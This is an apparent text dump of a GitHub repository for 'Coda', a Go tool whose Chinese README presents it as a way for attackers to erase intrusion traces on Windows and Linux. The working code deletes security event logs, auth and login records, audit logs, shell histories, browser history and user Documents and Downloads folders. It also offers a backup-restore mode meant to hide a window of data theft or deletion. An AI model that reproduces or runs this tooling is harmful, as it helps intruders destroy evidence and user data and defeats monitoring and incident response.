Repository: Symph0nia/Coda
Branch: main
Commit: 55404bc95f51
Files: 7
Total size: 23.5 KB
Directory structure:
gitextract_q1oc7ubb/
├── .gitignore
├── README.md
├── go.mod
├── main.go
└── module/
├── linux.go
├── utils.go
└── windows.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
.idea
main.exe
main
================================================
FILE: README.md
================================================
# Coda
## 0x01 简介
Coda是一款支持Windows/Linux系统的入侵痕迹抹除工具,可以帮助攻击者迅速消除入侵痕迹,使用Golang语言编写。
**最近Star比较多,考虑对工具进行优化和更新,感谢各位支持,也欢迎试用本组织其他安全工具。**
## 0x02 编译方法
```bash
git clone https://github.com/Symph0nia/Coda.git
```
```
cd Coda
```
```
go build ./main.go
```
## 0x03 使用方法
Coda接收三个参数,分别为:
```
./coda -D # 删除所有的日志信息
./coda -B # 删除大型的的日志信息,将小型的日志信息备份到/TEMP或/tmp文件夹下
./coda -R # 恢复备份的日志信息到原位置
```
## 0x04 原理
Coda的基本用法即直接删除所有的日志,从而实现对溯源的打击。
Coda的进阶用法为Backup 2 Restore
在渗透成功后,运行Coda -B,对当前的日志信息进行镜像保存,接下来可以进行敏感操作,例如数据获取,数据删除一类。
在渗透结束阶段,运行Coda -R,对已经保存的日志信息进行恢复,不对日志系统进行完全清除,从而实现一个优雅的空白监控时间。
## 0x05 注意事项
> [!WARNING]
>
> Coda对系统文件所造成的伤害是不可逆的,慎用。
目前的日志分类规则:大于100MB
目前的清除日志列表:
Windows:
| 日志文件路径 | 作用 |
| ------------------------------------------------------------ | ------------------------------------------------------------ |
| `C:\\Windows\\System32\\winevt\\Logs\\Security.evtx` | 记录安全相关事件,例如登录尝试、权限使用等。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Application.evtx` | 记录应用程序相关事件,由应用程序生成的日志信息。 |
| `C:\\Windows\\System32\\winevt\\Logs\\System.evtx` | 记录系统级别事件,包括驱动程序加载、系统组件的启动和停止等。 |
| `C:\\Program Files\\Apache Group\\Apache2\\logs\\access.log` | 记录Apache服务器的访问日志,包括每个请求的详细信息。 |
| `C:\\Program Files\\Apache Group\\Apache2\\logs\\error.log` | 记录Apache服务器的错误日志,包括启动、运行时错误和异常。 |
| `C:\\Program Files (x86)\\IIS Express\\Logs\\IISExpress.log` | 记录IIS Express的日志,包括访问和错误信息。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx` | 记录用户配置文件服务的操作日志。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-DNS-Client%4Operational.evtx` | 记录DNS客户端操作日志。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-DNS-Server%4Analytical.evtx` | 记录DNS服务器分析日志,用于诊断DNS问题。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx` | 记录高级安全Windows防火墙的操作日志。 |
| `C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log` | 记录Windows防火墙日志,包括被允许或被阻止的网络连接。 |
| `C:\\Windows\\System32\\LogFiles\\W3SVC1\\` | 记录IIS Web服务的日志,包括访问和错误日志。 |
| `C:\\Windows\\System32\\LogFiles\\HTTPERR\\httperr1.log` | 记录IIS HTTP错误日志,包括无法处理的HTTP请求。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-Security-Auditing.evtx` | 记录安全审计日志,包括成功和失败的安全事件。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-TaskScheduler%4Operational.evtx` | 记录任务计划程序的操作日志。 |
| `C:\\Windows\\Temp` | 存储临时文件,通常用于短期存储。 |
| `filepath.Join("C:\\Users", username, "AppData\\Local\\Temp")` | 当前用户的本地临时文件夹,存储临时文件。 |
| `filepath.Join("C:\\Users", username, "AppData\\LocalLow\\Temp")` | 当前用户的本地低权限临时文件夹,存储低权限临时文件。 |
| `filepath.Join("C:\\Users", username, "AppData\\Roaming\\Microsoft\\Windows\\Recent")` | 记录当前用户最近访问的文件和文件夹。 |
| `filepath.Join("C:\\Users", username, "AppData\\Local\\Microsoft\\Windows\\INetCache")` | 存储浏览器缓存文件。 |
| `filepath.Join("C:\\Users", username, "AppData\\Local\\Microsoft\\Windows\\History")` | 存储浏览器历史记录。 |
| `filepath.Join("C:\\Users", username, "Documents")` | 当前用户的文档文件夹,存储用户的文档文件。 |
| `filepath.Join("C:\\Users", username, "Downloads")` | 当前用户的下载文件夹,存储用户下载的文件。 |
| `C:\\inetpub\\logs\\LogFiles\\W3SVC1\\` | 记录IIS Web服务的访问日志。 |
| `C:\\inetpub\\logs\\FailedReqLogFiles\\` | 记录IIS失败的请求日志,用于诊断失败的HTTP请求。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-SMBClient\\Operational.evtx` | 记录SMB客户端操作日志。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\\Operational.evtx` | 记录远程桌面服务操作日志。 |
| `C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager\\Operational.evtx` | 记录终端服务本地会话管理器操作日志。 |
Linux:
| 日志文件路径 | 作用 |
| ------------------------------------ | ------------------------------------------------------------ |
| `/var/log/syslog` | 记录系统日志,包括内核消息、服务启动和停止、各种系统事件。 |
| `/var/log/messages` | 记录一般系统消息和非关键系统错误。 |
| `/var/log/auth.log` | 记录认证相关的日志,包括登录尝试、sudo使用等。 |
| `/var/log/lastlog` | 记录上次登录的信息。 |
| `/var/log/wtmp` | 记录登录和注销事件的永久日志。 |
| `/var/log/btmp` | 记录失败的登录尝试。 |
| `/var/log/faillog` | 记录失败的用户登录信息。 |
| `/var/log/apache2/access.log` | 记录Apache服务器的访问日志,包括每个请求的详细信息。 |
| `/var/log/apache2/error.log` | 记录Apache服务器的错误日志,包括启动、运行时错误和异常。 |
| `/var/log/nginx/access.log` | 记录Nginx服务器的访问日志,包括每个请求的详细信息。 |
| `/var/log/nginx/error.log` | 记录Nginx服务器的错误日志,包括启动、运行时错误和异常。 |
| `/var/log/mysql/error.log` | 记录MySQL数据库的错误日志,包括启动、运行时错误和异常。 |
| `/var/log/mysql/mysql.log` | 记录MySQL数据库的一般操作日志。 |
| `/var/log/daemon.log` | 记录守护进程的日志,包括系统服务的启动和停止。 |
| `/var/log/kern.log` | 记录内核日志,包括内核启动信息和运行时的错误。 |
| `/var/log/mail.log` | 记录邮件系统的日志,包括邮件传输信息。 |
| `/var/log/mail.err` | 记录邮件系统的错误日志。 |
| `/var/log/secure` | 记录安全相关的日志,包括登录、认证和授权信息。 |
| `/var/log/audit/audit.log` | 记录系统审计日志,包括SELinux和其他安全模块的事件。 |
| `/var/log/sudo.log` | 记录sudo命令的使用情况。 |
| `/tmp/` | 临时文件目录,存储系统和用户的临时文件。 |
| `/var/tmp/` | 临时文件目录,存储系统和用户的临时文件,通常比/tmp的生命周期更长。 |
| `/home/*/.bash_history` | 记录每个用户的bash历史命令。 |
| `/home/*/.zsh_history` | 记录每个用户的zsh历史命令。 |
| `/root/.bash_history` | 记录root用户的bash历史命令。 |
| `/root/.zsh_history` | 记录root用户的zsh历史命令。 |
| `/var/log/sshd.log` | 记录SSH守护进程的日志。 |
| `/var/run/utmp` | 记录当前登录用户的信息。 |
| `/var/log/dmesg` | 记录内核环形缓冲区的消息,通常包括系统启动信息。 |
| `/var/log/yum.log` | 记录Yum包管理器的操作日志。 |
| `/var/log/apt/history.log` | 记录APT包管理器的历史日志。 |
| `/var/log/apt/term.log` | 记录APT包管理器的终端日志,包括包安装和卸载的信息。 |
| `/var/log/journal/` | systemd的日志目录,记录所有使用systemd管理的服务和系统事件。 |
| `/var/log/rkhunter/rkhunter.log` | 记录Rootkit Hunter的扫描日志。 |
| `/var/log/chkrootkit/chkrootkit.log` | 记录Chkrootkit工具的扫描日志。 |
| `/var/log/docker.log` | 记录Docker的日志,包括容器的启动和停止信息。 |
| `/var/log/kubernetes/` | 记录Kubernetes的日志,包括集群中各组件的事件。 |
| `/var/log/containers/` | 记录容器的日志,通常包括Docker和Kubernetes管理的容器。 |
| `/var/log/postgresql/` | 记录PostgreSQL数据库的日志。 |
| `/var/log/mongodb/mongod.log` | 记录MongoDB数据库的日志,包括启动和运行时信息。 |
| `/var/log/redis/redis.log` | 记录Redis数据库的日志。 |
| `/var/log/tomcat/` | 记录Tomcat应用服务器的日志,包括访问和错误日志。 |
| `/var/log/glassfish/` | 记录GlassFish应用服务器的日志,包括访问和错误日志。 |
| `/var/log/maillog` | 记录邮件传输代理(MTA)的日志,包括邮件传输信息。 |
| `/var/log/mail.err` | 记录邮件传输代理(MTA)的错误日志。 |
| `/var/log/firewalld` | 记录Firewalld的日志,包括防火墙规则的应用和事件。 |
| `/var/log/iptables.log` | 记录Iptables的日志,包括防火墙规则的应用和事件。 |
| `/var/log/samba/*` | 记录Samba服务的日志,包括文件共享和打印服务的事件。 |
| `/var/log/rsyncd.log` | 记录Rsync守护进程的日志,包括文件同步和传输的事件。 |
| `/var/log/wtmp.1` | 记录历史登录和注销事件的归档日志。 |
| `/var/log/btmp.1` | 记录历史失败的登录尝试的归档日志。 |
================================================
FILE: go.mod
================================================
module Coda
go 1.21rc3
================================================
FILE: main.go
================================================
package main
import (
"Coda/module"
"flag"
"fmt"
)
// 文件夹大小限制,单位为字节(10MB)
const folderSizeLimit = 100 * 1024 * 1024
func main() {
deleteFlag := flag.Bool("D", false, "删除全部文件")
backupDeleteFlag := flag.Bool("B", false, "执行备份并删除操作")
restoreFlag := flag.Bool("R", false, "恢复备份")
flag.Parse()
// 获取操作系统类型
osType := module.GetOSType()
// 检查是否具有足够的权限
if !module.CheckPermissions() {
fmt.Println("权限不足,无法执行清理操作。")
return
}
// 根据操作系统类型调用相应的清理函数
if osType != "linux" && osType != "windows" {
fmt.Println("不支持的操作系统类型。")
return
}
if osType == "linux" {
fmt.Println("检测到Linux系统,开始清理入侵痕迹...")
if *deleteFlag {
fmt.Println("正在执行全部删除操作...")
module.DeleteLinuxIntrusionTraces() // 假设这个函数内部会调用 deleteAllFolders
} else if *backupDeleteFlag {
fmt.Println("正在执行备份并删除操作...")
module.DeleteLinuxLargeKeepSmall() // 你需要确保这个函数可从module包访问
} else if *restoreFlag {
fmt.Println("正在执行恢复操作...")
module.RestoreLinuxSmallFolders() // 你需要确保这个函数可从module包访问
} else {
fmt.Println("未指定有效的操作模式。使用 -D, -B, 或 -R.")
}
} else if osType == "windows" {
fmt.Println("检测到Windows系统,开始清理入侵痕迹...")
if *deleteFlag {
fmt.Println("正在执行全部删除操作...")
module.DeleteWindowsIntrusionTraces() // 假设这个函数内部会调用 deleteAllFolders
} else if *backupDeleteFlag {
fmt.Println("正在执行备份并删除操作...")
module.DeleteWindowsLargeKeepSmall() // 你需要确保这个函数可从module包访问
} else if *restoreFlag {
fmt.Println("正在执行恢复操作...")
module.RestoreWindowsSmallFolders() // 你需要确保这个函数可从module包访问
} else {
fmt.Println("未指定有效的操作模式。使用 -D, -B, 或 -R.")
}
}
}
================================================
FILE: module/linux.go
================================================
package module
import (
"fmt"
"path/filepath"
"strings"
)
// DeleteLinuxIntrusionTraces 删除Linux系统的入侵痕迹
func DeleteLinuxIntrusionTraces() {
folders := GetLinuxPaths()
// 第一阶段:检查文件夹是否存在
existingFolders := checkPathsExist(folders)
if len(existingFolders) == 0 {
fmt.Println("没有找到任何需要处理的文件夹。")
return
}
// 第二阶段:检查文件夹内是否有文件
nonEmptyFolders := checkPathContents(existingFolders)
if len(nonEmptyFolders) == 0 {
fmt.Println("所有检测到的文件夹都是空的。")
return
}
// 第三阶段:检查文件夹权限
deletableFolders := checkFoldersPermissions(nonEmptyFolders)
// 第四阶段:检查文件夹大小,并分类
smallFolders, largeFolders := classifyPathsBySize(deletableFolders)
// 第五阶段:执行相应的删除或备份操作
deleteAllFolders(smallFolders, largeFolders)
}
// DeleteLinuxLargeKeepSmall 删除大文件夹,保留小文件夹
func DeleteLinuxLargeKeepSmall() {
folders := GetLinuxPaths()
// 第一阶段:检查文件夹是否存在
existingFolders := checkPathsExist(folders)
if len(existingFolders) == 0 {
fmt.Println("没有找到任何需要处理的文件夹。")
return
}
// 第二阶段:检查文件夹内是否有文件
nonEmptyFolders := checkPathContents(existingFolders)
if len(nonEmptyFolders) == 0 {
fmt.Println("所有检测到的文件夹都是空的。")
return
}
// 第三阶段:检查文件夹权限
deletableFolders := checkFoldersPermissions(nonEmptyFolders)
// 第四阶段:检查文件夹大小,并分类
smallFolders, largeFolders := classifyPathsBySize(deletableFolders)
deleteLargeKeepSmall(smallFolders, largeFolders)
}
// RestoreLinuxSmallFolders 恢复小文件夹
func RestoreLinuxSmallFolders() {
restoreSmallFolders()
}
// GetLinuxPaths 获取系统中重要的文件和文件夹路径,支持通配符
func GetLinuxPaths() []string {
basePaths := []string{
// 系统日志文件
"/var/log/syslog",
"/var/log/messages",
"/var/log/auth.log",
"/var/log/lastlog",
"/var/log/wtmp",
"/var/log/btmp",
"/var/log/faillog",
// Apache日志文件
"/var/log/apache2/access.log",
"/var/log/apache2/error.log",
// Nginx日志文件
"/var/log/nginx/access.log",
"/var/log/nginx/error.log",
// MySQL日志文件
"/var/log/mysql/error.log",
"/var/log/mysql/mysql.log",
// 系统服务日志文件
"/var/log/daemon.log",
"/var/log/kern.log",
"/var/log/mail.log",
"/var/log/mail.err",
"/var/log/secure",
"/var/log/audit/audit.log",
"/var/log/sudo.log",
// 临时文件和目录
"/tmp/",
"/var/tmp/",
// 用户历史记录
"/home/*/.bash_history",
"/home/*/.zsh_history",
"/root/.bash_history",
"/root/.zsh_history",
// SSH相关日志
"/var/log/secure",
"/var/log/auth.log",
"/var/log/sshd.log",
"/var/log/sshd/*",
// Utmp和Wtmp日志
"/var/run/utmp",
"/var/log/wtmp",
"/var/log/btmp",
// Dmesg日志
"/var/log/dmesg",
// Package Manager日志
"/var/log/yum.log",
"/var/log/apt/history.log",
"/var/log/apt/term.log",
// Systemd日志
"/var/log/journal/",
// 安全工具日志
"/var/log/rkhunter/rkhunter.log",
"/var/log/chkrootkit/chkrootkit.log",
// 应用程序日志
"/var/log/docker.log",
"/var/log/kubernetes/",
"/var/log/containers/",
// 各种服务的日志
"/var/log/postgresql/",
"/var/log/mongodb/mongod.log",
"/var/log/redis/redis.log",
// Web应用日志
"/var/log/tomcat/",
"/var/log/glassfish/",
// 邮件日志
"/var/log/maillog",
"/var/log/mail.err",
// 防火墙日志
"/var/log/firewalld",
"/var/log/iptables.log",
// 网络日志
"/var/log/samba/*",
"/var/log/rsyncd.log",
// 其他可能的入侵痕迹
"/var/log/wtmp.1",
"/var/log/btmp.1",
}
var expandedPaths []string
for _, path := range basePaths {
if strings.Contains(path, "*") { // 检查路径是否包含通配符
matches, err := filepath.Glob(path)
if err != nil {
fmt.Printf("解析路径失败: %s, 错误: %v\n", path, err)
continue
}
expandedPaths = append(expandedPaths, matches...) // 添加匹配的路径
} else {
expandedPaths = append(expandedPaths, path) // 添加原始路径
}
}
return expandedPaths
}
================================================
FILE: module/utils.go
================================================
package module
import (
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
)
// 文件夹大小限制,单位为字节(10MB)
const folderSizeLimit = 100 * 1024 * 1024
// GetOSType 确定操作系统类型
func GetOSType() string {
osType := runtime.GOOS
fmt.Printf("操作系统类型: %s\n", osType)
return osType
}
// CheckPermissions 确认是否具有足够的权限
func CheckPermissions() bool {
osType := GetOSType()
if osType == "windows" {
return checkWindowsPermissions()
} else if osType == "linux" {
return checkLinuxPermissions()
} else {
fmt.Println("不支持的操作系统类型。")
return false
}
}
// checkWindowsPermissions 检查Windows系统权限
func checkWindowsPermissions() bool {
if isWindowsAdmin() {
fmt.Println("权限确认: 当前用户具有管理员权限。")
return true
} else {
fmt.Println("权限确认: 当前用户不具有管理员权限。")
return false
}
}
// checkLinuxPermissions 检查Linux系统权限
func checkLinuxPermissions() bool {
if os.Geteuid() == 0 {
fmt.Println("权限确认: 当前用户具有root权限。")
return true
} else {
fmt.Println("权限确认: 当前用户不具有root权限。")
return false
}
}
// isWindowsAdmin 检查是否具有Windows管理员权限
func isWindowsAdmin() bool {
cmd := exec.Command("net", "session")
err := cmd.Run()
if err != nil {
// 进一步检查错误信息
exitError, ok := err.(*exec.ExitError)
if ok {
switch exitError.ExitCode() {
case 5:
fmt.Println("权限确认: 访问被拒绝。可能没有管理员权限。")
case 53:
fmt.Println("权限确认: 找不到网络路径。")
default:
fmt.Printf("权限确认: 检查管理员权限时发生错误,错误代码: %d\n", exitError.ExitCode())
}
} else {
fmt.Println("权限确认: 检查管理员权限时发生未知错误。")
}
return false
}
return true
}
// deleteLargeKeepSmall 删除大文件夹,备份小文件夹并记录原始路径
func deleteLargeKeepSmall(smallFolders, largeFolders []string) {
tempDir := filepath.Join(os.TempDir(), "folder_backups")
if err := os.MkdirAll(tempDir, 0755); err != nil {
fmt.Printf("创建备份目录失败: %v\n", err)
return
}
// 创建文件记录备份路径
pathRecordFile := filepath.Join(tempDir, "backup_paths.txt")
file, err := os.Create(pathRecordFile)
if err != nil {
fmt.Printf("创建备份路径记录文件失败: %v\n", err)
return
}
defer file.Close()
// 删除大文件夹
for _, folder := range largeFolders {
if err := os.RemoveAll(folder); err != nil {
fmt.Printf("删除大文件夹失败: %s, 错误: %v\n", folder, err)
} else {
fmt.Printf("成功删除大文件夹: %s\n", folder)
}
}
// 备份小文件夹并删除原文件夹
for _, folder := range smallFolders {
backupFolder := filepath.Join(tempDir, filepath.Base(folder))
if err := os.Rename(folder, backupFolder); err != nil {
fmt.Printf("备份文件夹失败: %s, 错误: %v\n", folder, err)
} else {
fmt.Fprintf(file, "%s,%s\n", backupFolder, folder) // 记录备份文件夹和原始路径
fmt.Printf("成功备份并删除小文件夹: %s 到 %s\n", folder, backupFolder)
}
}
}
// restoreSmallFolders 从Temp目录恢复备份的小文件夹到原位
func restoreSmallFolders() {
tempDir := filepath.Join(os.TempDir(), "folder_backups")
pathRecordFile := filepath.Join(tempDir, "backup_paths.txt")
// 读取备份路径记录
content, err := ioutil.ReadFile(pathRecordFile)
if err != nil {
fmt.Printf("读取备份路径记录文件失败: %v\n", err)
return
}
lines := strings.Split(string(content), "\n")
for _, line := range lines {
if line == "" {
continue
}
parts := strings.Split(line, ",")
if len(parts) != 2 {
fmt.Println("备份路径记录格式错误")
continue
}
backupFolder := parts[0]
originalPath := parts[1]
// 恢复文件夹
if err := os.Rename(backupFolder, originalPath); err != nil {
fmt.Printf("恢复文件夹失败: %s 到 %s, 错误: %v\n", backupFolder, originalPath, err)
} else {
fmt.Printf("成功恢复文件夹: %s 到 %s\n", backupFolder, originalPath)
}
}
}
// deleteAllFolders 删除所有文件夹
func deleteAllFolders(smallFolders, largeFolders []string) {
allFolders := append(smallFolders, largeFolders...)
for _, folder := range allFolders {
if err := os.RemoveAll(folder); err != nil {
fmt.Printf("删除文件夹失败: %s, 错误: %v\n", folder, err)
} else {
fmt.Printf("成功删除文件夹: %s\n", folder)
}
}
}
// checkPathsExist
func checkPathsExist(paths []string) []string {
existingPaths := []string{}
for _, path := range paths {
if _, err := os.Stat(path); err == nil {
existingPaths = append(existingPaths, path)
} else {
fmt.Printf("路径不存在: %s\n", path)
}
}
return existingPaths
}
// checkFoldersHaveFiles
func checkPathContents(paths []string) []string {
nonEmptyPaths := []string{}
for _, path := range paths {
info, err := os.Stat(path)
if err != nil {
continue
}
if info.IsDir() {
files, err := ioutil.ReadDir(path)
if err == nil && len(files) > 0 {
nonEmptyPaths = append(nonEmptyPaths, path)
}
} else {
nonEmptyPaths = append(nonEmptyPaths, path) // 文件总是"非空"
}
}
return nonEmptyPaths
}
// checkFoldersPermissions 检查文件夹的删除权限
func checkFoldersPermissions(folders []string) []string {
deletableFolders := []string{}
for _, folder := range folders {
tempFile := filepath.Join(folder, "tempfile.tmp")
if file, err := os.Create(tempFile); err == nil {
file.Close()
os.Remove(tempFile)
deletableFolders = append(deletableFolders, folder)
} else {
fmt.Printf("无法在文件夹中创建临时文件,无权限: %s\n", folder)
}
}
return deletableFolders
}
// classifyPathsBySize
func classifyPathsBySize(paths []string) ([]string, []string) {
smallPaths := []string{}
largePaths := []string{}
for _, path := range paths {
size := calculatePathSize(path)
if size < folderSizeLimit {
smallPaths = append(smallPaths, path)
} else {
largePaths = append(largePaths, path)
}
}
return smallPaths, largePaths
}
// calculatePathSize 现在处理文件和文件夹
func calculatePathSize(path string) int64 {
var size int64
filepath.Walk(path, func(path string, info os.FileInfo, err error) error {
if err == nil {
size += info.Size()
}
return nil
})
return size
}
================================================
FILE: module/windows.go
================================================
package module
import (
"fmt"
"io/ioutil"
"os/user"
"path/filepath"
)
// DeleteWindowsIntrusionTraces 删除Windows系统的入侵痕迹
func DeleteWindowsIntrusionTraces() {
folders := GetWindowsFilePaths()
// 第一阶段:检查文件夹是否存在
existingFolders := checkPathsExist(folders)
if len(existingFolders) == 0 {
fmt.Println("没有找到任何需要处理的文件夹。")
return
}
// 第二阶段:检查文件夹内是否有文件
nonEmptyFolders := checkPathContents(existingFolders)
if len(nonEmptyFolders) == 0 {
fmt.Println("所有检测到的文件夹都是空的。")
return
}
// 第三阶段:检查文件夹权限
deletableFolders := checkFoldersPermissions(nonEmptyFolders)
// 第四阶段:检查文件夹大小,并分类
smallFolders, largeFolders := classifyPathsBySize(deletableFolders)
// 第五阶段:提供不同的处理方式
deleteAllFolders(smallFolders, largeFolders)
}
// DeleteWindowsLargeKeepSmall 删除大文件夹,保留小文件夹
func DeleteWindowsLargeKeepSmall() {
folders := GetWindowsFilePaths()
// 第一阶段:检查文件夹是否存在
existingFolders := checkPathsExist(folders)
if len(existingFolders) == 0 {
fmt.Println("没有找到任何需要处理的文件夹。")
return
}
// 第二阶段:检查文件夹内是否有文件
nonEmptyFolders := checkPathContents(existingFolders)
if len(nonEmptyFolders) == 0 {
fmt.Println("所有检测到的文件夹都是空的。")
return
}
// 第三阶段:检查文件夹权限
deletableFolders := checkFoldersPermissions(nonEmptyFolders)
// 第四阶段:检查文件夹大小,并分类
smallFolders, largeFolders := classifyPathsBySize(deletableFolders)
deleteLargeKeepSmall(smallFolders, largeFolders)
}
// RestoreWindowsSmallFolders 恢复小文件夹
func RestoreWindowsSmallFolders() {
restoreSmallFolders()
}
// GetWindowsFilePaths 动态获取重要文件夹和文件的路径
func GetWindowsFilePaths() []string {
currentUser, err := user.Current()
if err != nil {
fmt.Printf("获取当前用户失败: %v\n", err)
return nil
}
username := currentUser.Username
userProfilePath := filepath.Join("C:\\Users", username, "AppData\\Local\\Mozilla\\Firefox\\Profiles")
profiles, err := ioutil.ReadDir(userProfilePath)
if err != nil {
fmt.Printf("读取Firefox配置文件夹失败: %v\n", err)
return nil
}
var firefoxProfilePaths []string
for _, profile := range profiles {
if profile.IsDir() {
profilePath := filepath.Join(userProfilePath, profile.Name(), "cache2")
placesPath := filepath.Join(userProfilePath, profile.Name(), "places.sqlite")
firefoxProfilePaths = append(firefoxProfilePaths, profilePath, placesPath)
}
}
return []string{
"C:\\Windows\\System32\\winevt\\Logs\\Security.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Application.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\System.evtx",
"C:\\Program Files\\Apache Group\\Apache2\\logs\\access.log",
"C:\\Program Files\\Apache Group\\Apache2\\logs\\error.log",
"C:\\Program Files (x86)\\IIS Express\\Logs\\IISExpress.log",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-DNS-Client%4Operational.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-DNS-Server%4Analytical.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx",
"C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log",
"C:\\Windows\\System32\\LogFiles\\W3SVC1\\",
"C:\\Windows\\System32\\LogFiles\\HTTPERR\\httperr1.log",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-Security-Auditing.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-TaskScheduler%4Operational.evtx",
"C:\\Windows\\Temp",
filepath.Join("C:\\Users", username, "AppData\\Local\\Temp"),
filepath.Join("C:\\Users", username, "AppData\\LocalLow\\Temp"),
filepath.Join("C:\\Users", username, "AppData\\Roaming\\Microsoft\\Windows\\Recent"),
filepath.Join("C:\\Users", username, "AppData\\Local\\Microsoft\\Windows\\INetCache"),
filepath.Join("C:\\Users", username, "AppData\\Local\\Microsoft\\Windows\\History"),
filepath.Join("C:\\Users", username, "Documents"),
filepath.Join("C:\\Users", username, "Downloads"),
"C:\\inetpub\\logs\\LogFiles\\W3SVC1\\",
"C:\\inetpub\\logs\\FailedReqLogFiles\\",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-SMBClient\\Operational.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-RemoteDesktopServices-RdpCoreTS\\Operational.evtx",
"C:\\Windows\\System32\\winevt\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager\\Operational.evtx",
}
}
gitextract_q1oc7ubb/
├── .gitignore
├── README.md
├── go.mod
├── main.go
└── module/
├── linux.go
├── utils.go
└── windows.go
SYMBOL INDEX (24 symbols across 4 files)
FILE: main.go
constant folderSizeLimit (line 10) | folderSizeLimit = 100 * 1024 * 1024
function main (line 12) | func main() {
FILE: module/linux.go
function DeleteLinuxIntrusionTraces (line 10) | func DeleteLinuxIntrusionTraces() {
function DeleteLinuxLargeKeepSmall (line 38) | func DeleteLinuxLargeKeepSmall() {
function RestoreLinuxSmallFolders (line 64) | func RestoreLinuxSmallFolders() {
function GetLinuxPaths (line 69) | func GetLinuxPaths() []string {
FILE: module/utils.go
constant folderSizeLimit (line 14) | folderSizeLimit = 100 * 1024 * 1024
function GetOSType (line 17) | func GetOSType() string {
function CheckPermissions (line 24) | func CheckPermissions() bool {
function checkWindowsPermissions (line 37) | func checkWindowsPermissions() bool {
function checkLinuxPermissions (line 48) | func checkLinuxPermissions() bool {
function isWindowsAdmin (line 59) | func isWindowsAdmin() bool {
function deleteLargeKeepSmall (line 83) | func deleteLargeKeepSmall(smallFolders, largeFolders []string) {
function restoreSmallFolders (line 121) | func restoreSmallFolders() {
function deleteAllFolders (line 155) | func deleteAllFolders(smallFolders, largeFolders []string) {
function checkPathsExist (line 167) | func checkPathsExist(paths []string) []string {
function checkPathContents (line 180) | func checkPathContents(paths []string) []string {
function checkFoldersPermissions (line 200) | func checkFoldersPermissions(folders []string) []string {
function classifyPathsBySize (line 216) | func classifyPathsBySize(paths []string) ([]string, []string) {
function calculatePathSize (line 231) | func calculatePathSize(path string) int64 {
FILE: module/windows.go
function DeleteWindowsIntrusionTraces (line 11) | func DeleteWindowsIntrusionTraces() {
function DeleteWindowsLargeKeepSmall (line 39) | func DeleteWindowsLargeKeepSmall() {
function RestoreWindowsSmallFolders (line 65) | func RestoreWindowsSmallFolders() {
function GetWindowsFilePaths (line 70) | func GetWindowsFilePaths() []string {
Condensed preview — 7 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (33K chars).
[
{
"path": ".gitignore",
"chars": 20,
"preview": "\n.idea\nmain.exe\nmain"
},
{
"path": "README.md",
"chars": 9016,
"preview": "# Coda\n## 0x01 简介\n\nCoda是一款支持Windows/Linux系统的入侵痕迹抹除工具,可以帮助攻击者迅速消除入侵痕迹,使用Golang语言编写。\n\n**最近Star比较多,考虑对工具进行优化和更新,感谢各位支持,也欢迎试"
},
{
"path": "go.mod",
"chars": 24,
"preview": "module Coda\n\ngo 1.21rc3\n"
},
{
"path": "main.go",
"chars": 1555,
"preview": "package main\n\nimport (\n\t\"Coda/module\"\n\t\"flag\"\n\t\"fmt\"\n)\n\n// 文件夹大小限制,单位为字节(10MB)\nconst folderSizeLimit = 100 * 1024 * 1024"
},
{
"path": "module/linux.go",
"chars": 3597,
"preview": "package module\n\nimport (\n\t\"fmt\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// DeleteLinuxIntrusionTraces 删除Linux系统的入侵痕迹\nfunc DeleteL"
},
{
"path": "module/utils.go",
"chars": 5565,
"preview": "package module\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n)\n\n// 文件夹大小限制,单位为字节"
},
{
"path": "module/windows.go",
"chars": 4291,
"preview": "package module\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os/user\"\n\t\"path/filepath\"\n)\n\n// DeleteWindowsIntrusionTraces 删除Windows系统的"
}
]
About this extraction
This page contains the full source code of the Symph0nia/Coda GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 7 files (23.5 KB), approximately 7.9k tokens, and a symbol index with 24 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.